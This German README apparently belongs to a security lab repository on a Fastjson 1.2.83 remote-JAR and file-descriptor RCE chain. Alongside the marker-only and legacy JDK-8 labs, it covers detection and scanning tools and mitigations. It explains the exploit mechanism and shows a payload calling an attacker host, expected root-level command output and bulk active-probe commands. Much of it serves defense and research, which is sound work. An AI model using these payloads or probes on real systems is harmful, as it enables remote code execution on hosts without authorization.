Fastjson @JSONType Remote-JAR/FD-Ketten-Labor und Erkennung

Dieses Repository enthält nun zwei getrennte Fastjson-Forschungslinien:

• modern-fd/ ist die empfohlene, nur-Marker-Rekonstruktion der Fastjson-1.2.83-Einzelkörper-Remote-JAR/Dateideskriptor-Kette auf Spring Boot 3, normal eingebettetem Tomcat und JDK 17. Sie verwendet die wörtliche Fest-DTO-Senke JSON.parseObject(body, BoundEnvelope.class) bei deaktiviertem AutoType.
• Das ursprüngliche Docker-Compose-Labor auf oberster Ebene bewahrt die ältere JDK-8-Direkt-Remote-Klassen-Route. Es ist befehlsfähig und sollte als veralteter, isolierter Nachweis betrachtet werden, nicht als Methode für moderne JDKs.
• scanner/ enthält passive Anfrage-/Log-Erkennung, statische Artefakt-Inventarisierung und eine nicht ausführende Erreichbarkeitssonde.

Der Bug: ParserConfig.checkAutoType prüft jeden @type-Wert auf die @JSONType-Annotation, indem getResourceAsStream(typeName.replace('.','/') + ".class") ausgeführt wird. Auf modernen Linux/JDK-Kombinationen kann eine Remote-jar:http-Sonde das JAR hinter einem offenen Deskriptor im Cache belassen; spätere jar:file:/proc/self/fd/N-Sonden im selben Körper können es unter gültigen Klassennamen wieder öffnen und eine annotierte Klasse initialisieren. Die exakte 1.2.83-Komposition funktioniert bei deaktiviertem AutoType und über ein festes DTO, das List<Object> enthält. Bindung allein ist daher keine Abschwächung. Vollständiger Durchlauf: docs/MECHANISM.md.

Ergebnisse der Sicherheitsüberprüfung

Die begleitende projektsweite Überprüfung umfasste 2.041 aufrufbare/statische-Initialisierer-Zeilen in allen 193 Fastjson-1.2.83-Produktions-Java-Dateien. Die folgende Tabelle priorisiert die Ergebnisse mit der höchsten Auswirkung; sie ist keine Behauptung, dass jede Fastjson-Bereitstellung betroffen ist. Dieses Repository reproduziert direkt F105. Die übrigen Einträge fassen separat versiegelte Quellcode-Überprüfungen und begrenzte Laborbeweise zusammen.

Siehe findings/FINDINGS.md für Validierungskennzeichnungen, Voraussetzungen, Befunde niedrigerer Stufe, Abhilfeprioritäten und explizite negative Grenzen.

⚠️ Nur autorisierte Nutzung

Dieses Repository dient der Ausbildung, defensiven Forschung und autorisierten Prüfung von Systemen, die Ihnen gehören oder für die Sie ausdrücklich die Erlaubnis zur Prüfung haben. Host-Publikation, soweit für das interne Netzwerk des modernen Labors unterstützt, wird nur auf 127.0.0.1 angefragt; seine Skripte treiben den Test vollständig innerhalb dieses isolierten Netzwerks. Das moderne Labor hat kein Prozessausführungs- Primitiv und setzt nur einen festen In-JVM-Marker. Das ältere JDK-8-Labor führt id aus und schreibt seine Ausgabe nach /tmp/PWNED; halten Sie es isoliert. Richten Sie den Legacy-Exploit oder die aktive Sonde nicht gegen unbefugte Systeme.

Scannen Sie Ihre eigene Umgebung

Das scanner/-Verzeichnis enthält vier abhängigkeitsfreie Python-3-Werkzeuge (keine pip- Installationen).

• fjdetect.py — untersucht dekodierte JSON-Anfragekörper oder strukturierte JSON-Logs passiv auf Remote-JAR-Seeds und /proc/self/fd- oder /dev/fd-Sequenzen.
• fjscan_static.py — inventarisiert Jars/Wars/Ears auf die verwundbare Kombination (inhaltsgestützt, metadatenverifiziert 1.2.83 × tatsächlicher Spring-Boot-Loader-Klassen- inhalt). Sondenenthaltende 1.2.48–1.2.82-Veröffentlichungen und reine Metadaten-/Dateinamen- kandidaten werden separat zur Überprüfung gemeldet. CI-Gate-freundlich (Exit 2 bei EXPOSED).
• fjscan_probe.py — aktive, sichere Erreichbarkeitsprüfung: feuert den @type auf einen Canary, den Sie kontrollieren (eingebauter Listener oder Burp Collaborator / interactsh) und korreliert den Ressourcenabruf-Callback. Sein eingebauter Listener gibt ein leeres 404 zurück; konfigurieren Sie externe Listener äquivalent. Ein Callback beweist keine Klassenladung oder RCE.
• fjpayload.py — erzeugt Remote-Ressourcen-Abrufkörper für manuelle Tests; verwenden Sie nur einen leeren/404-Listener, wenn keine Ausführung beabsichtigt ist.

# 1) passive Anfrage-/Log-Inspektion
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) Inventarisierung von Build-Artefakten / entpackten Images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) aktive Sonde über viele Domains — am einfachsten: --auto feuert Baseline + plain + escaped Vergleich
#    DNS-Sonden pro Ziel und druckt eine Zusammenfassung; DNS-Callbacks landen in Ihrem Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) Bulk-Abruf-Payloads für manuelle Tests (eine pro Domain, stabiles Korrelationstoken)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = ein Ziel pro Zeile — eine vollständige [METHOD ]URL oder eine bloße Domain (erweitert mit --scheme / --target-port / --path); # -Kommentare erlaubt:

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

Optionen

fjscan_probe.py (aktive Sonde)

fjscan_static.py (Inventarisierung): <paths…> · --threads N (Standard 8) · --json (Maschinenausgabe; Exit-Code 2, wenn irgendein EXPOSED).

fjpayload.py (Generator): <collaborator> · --targets-file/-f <file\|-> (Bulk) · --port · --token · --wrap · --entry.

Collaborator-Hinweis: die @JSONType-jar:-Senke führt typeName.replace('.','/') aus, also wird jeder Punkt im Host zu einem Schrägstrich — eine gepunktete Burp-Collaborator-Subdomain (abc.oastify.com) kann nicht darüber zugestellt werden (die Werkzeuge fallen auf eine Integer-IP + URL-Pfad-Token zurück). Um einen Callback in einen öffentlichen Collaborator zu bekommen, verwenden Sie --probe-type dns: das java.net.Inet4Address-Primitiv akzeptiert einen gepunkteten Host und feuert eine DNS-Interaktion (<tok>.<sub>.oastify.com), was das Inet4Address-Parse-Primitiv + Egress bestätigt. Das ist Voraussetzungs- beweis, kein Beweis für das Remote-JAR/FD-Terminal. Siehe scanner/README.md.

Nur-Marker-Modern-JDK-Labor (empfohlen)

Anforderungen: Docker + Docker Compose und ausgehender Zugriff auf Maven Central beim ersten Build (um fastjson / spring-boot-loader / asm zu holen).

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

Der Positivfall sendet einen Körper an einen normalen eingebetteten-Tomcat-Anfrage-Thread. Seine wörtliche Senke ist final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Erfolg ist nur die feste Eigenschaft und das Log-Token FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; die Antwort gibt weiterhin ein normal gebundenes BoundEnvelope zurück. Das Beweisverzeichnis enthält die Anfrage, Antwort, Container-Metadaten, Logs und ein SHA-256-Manifest.

Die Kontrollen decken gewöhnliches JSON, FD-Kandidaten ohne Seed, einen Seed gefolgt von unmöglichen Deskriptoren und SafeMode ab. Siehe modern-fd/README.md.

Die FearsOff-Offenlegung zeigt dasselbe beibehaltene-JAR-Terminal auf JDK 21 unter Verwendung eines prozesspersistenten Caches und eines FD-Kandidaten pro Anfrage. Das moderne Labor dieses Repositorys reproduziert stattdessen eine Einzelkörper-JDK-17-Komposition: der fehlertolerante Seed und begrenzte FD-Kandidaten werden von einer festen-DTO-Anfrage getragen. JDK 21 bleibt extern berichtet; es ist kein hier erzeugtes Laufzeitergebnis.

Legacy-JDK-8-Direktklassen-Labor

Das ursprüngliche Compose-Projekt auf oberster Ebene bleibt für die Reproduktion der älteren einstufigen Route verfügbar. Anders als modern-fd/ ist es befehlsfähig und sollte nur im isolierten Labor ausgeführt werden:

make up
make exploit
make down

Erwartete make exploit-Ausgabe:

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE bereits ausgelöst, DANN der Cast
[*] PROOF — Befehlsausgabe innerhalb des TARGET-Containers erfasst (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

Die ClassCastException ist das Anzeichen dafür, dass Bindung keine Abschwächung ist: die Angreiferklasse führt ihr <clinit> während der @type-Sonde aus, bevor fastjson versucht, sie in Dto zu casten.

Variationen der Legacy-Spur

• Nur Direktklassen-Spur: die Änderung von target/Dockerfile auf JDK 17 blockiert diese Legacy-Konstruktion mit erfundenen Namen und hinterlässt einen Abruf. Dieses Ergebnis testet oder entschärft nicht die separate /proc/self/fd-Fortsetzung in modern-fd/.
• Beweisen Sie, dass es nicht AutoType ist: das Ziel ruft nie setAutoTypeSupport(true) auf — prüfen Sie das Banner unter http://127.0.0.1:8080/.
• Benutzerdefinierter Befehl: PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.

Repository-Layout

Abschwächung

Aktivieren Sie -Dfastjson.parser.safeMode=true auf dem gewöhnlichen handler-freien Pfad oder verwenden Sie den Hersteller-Build com.alibaba:fastjson:1.2.83_noneautotype, wo eine sofortige Migration nicht möglich ist, und prüfen Sie installierte AutoTypeCheckHandlers. Beschränken Sie JVM-Egress; migrieren Sie unvertrautes Parsing weg von Fastjson 1.x; alarmieren Sie bei dekodierten @type-Remote-JAR-Seeds und /proc/self/fd- oder /dev/fd-Kandidaten sowohl innerhalb einer Anfrage als auch über Anfragen korreliert. DTO-Bindung und JDK 9+ sind keine vollständigen Abschwächungen für die moderne Komposition.

fastjson2 — ein separates Problem in der Standardkonfiguration

fastjson2/ ist ein zweites, unabhängiges Labor. fastjson2 enthält nicht die Fastjson-1.x-@JSONType-Ressourcensonde. Es erlaubt jedoch, dass ein angreiferkontrollierter @type ClassLoader.loadClass() bei deaktiviertem autoType erreicht, wenn der Parse-Pfad einen polymorphen Typ beinhaltet — weil ObjectReaderSeeAlso's Konstruktor SupportAutoType fest verdrahtet und ein seeAlso-Fehlschlag auf die vollständige AutoType-Auflösung zurückfällt, bevor die Zuweisbarkeits- und DataSource/RowSet-Prüfungen laufen.

Die Auslöser sind gewöhnliche Modellierungsannotationen — @JSONType(seeAlso=), Jackson @JsonSubTypes (berücksichtigt, weil useJacksonAnnotation standardmäßig true ist), @JsonTypeInfo, versiegelte Typen. Unter einem Spring-Boot-Fat-Jar löst der Kontext-Classloader jar:http:-Namen auf, also wird die Klasse aus dem Netzwerk geholt und ihr statischer Initialisierer läuft.

Reproduziert auf fastjson2 2.0.62 (neueste Veröffentlichung) und 2.0.57, auf JDK 8. safeMode=true blockiert es; JDK 17 stuft es auf SSRF herab; autoTypeFilter(...) schützt nicht. Offengelegt von Chaitin (长亭), ~2026-07-25 — kein Befund dieses Repositorys. Der Maintainer hat offene Härtungsarbeit in PR #7703 (ersetzt die geschlossene #7695), die : und ! in Typnamen ablehnt; keine veröffentlichte Version enthält es — 2.0.62 stammt von vor beiden.

make fj2-safety     # beweisen, dass das Payload nur-Marker ist
make fj2-positive   # Standardkonfiguration -> Remote-Klasse definiert + initialisiert
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only-Modell / Allowlist

Danksagungen & Referenzen

• Ursprüngliche Offenlegung und technischer Beitrag: Kirill Firsov (@k_firsov, FearsOff) — FastJson 1.2.83 Remote Code Execution (21. Juli 2026). Er offenbart dieselben hier rekonstruierten JDK-8-Direktklassen- und modernen beibehaltenen-JAR-/proc/self/fd-Mechanismen.
• Maintainer-Advisory: Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83. Es berichtet typisierte-API-Erreichbarkeit plus Verifikation über Spring Boot 2.x–4.x und JDK 8/11/17/21. Diese breiteren Versions-/Laufzeitmatrizen sind upstream-berichtet; der Laufzeitbeweis dieses Repositorys bleibt Fastjson 1.2.83 auf den dokumentierten JDK-8- und JDK-17-Spuren.
• Öffentlicher Proof-of-Concept & die @JSONType-/Jar-URL-Internnamen-Technik: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java implementiert diese Technik für dieses Labor neu.
• Modern-JDK-FD-Ketten-Berichte: der WeChat-Artikel und der frühere detaillierte Cnyes-Bericht lieferten die beibehaltene-JAR-/proc/self/fd-Hypothese. Sie wurden als externe Berichte behandelt, nicht als unabhängiger Laufzeitbeweis.
• Öffentliche Linux-FD-Implementierung: DmTomHL/fastjson-1.2.83-gadget-rce verengte die Rekonstruktionslücke. Sein befehlsfähiger Code wurde statisch überprüft und nicht ausgeführt; modern-fd/ verwendet unabhängig erstellte nur-Marker-Klassen und einen normalen Fest-DTO-Tomcat-Endpunkt.

Dieses Labor und die scanner/-Werkzeuge verpacken diese Befunde in eine reproduzierbare Testumgebung und defensive Prüfungen. Nicht verbunden mit oder unterstützt von den obigen Forschern.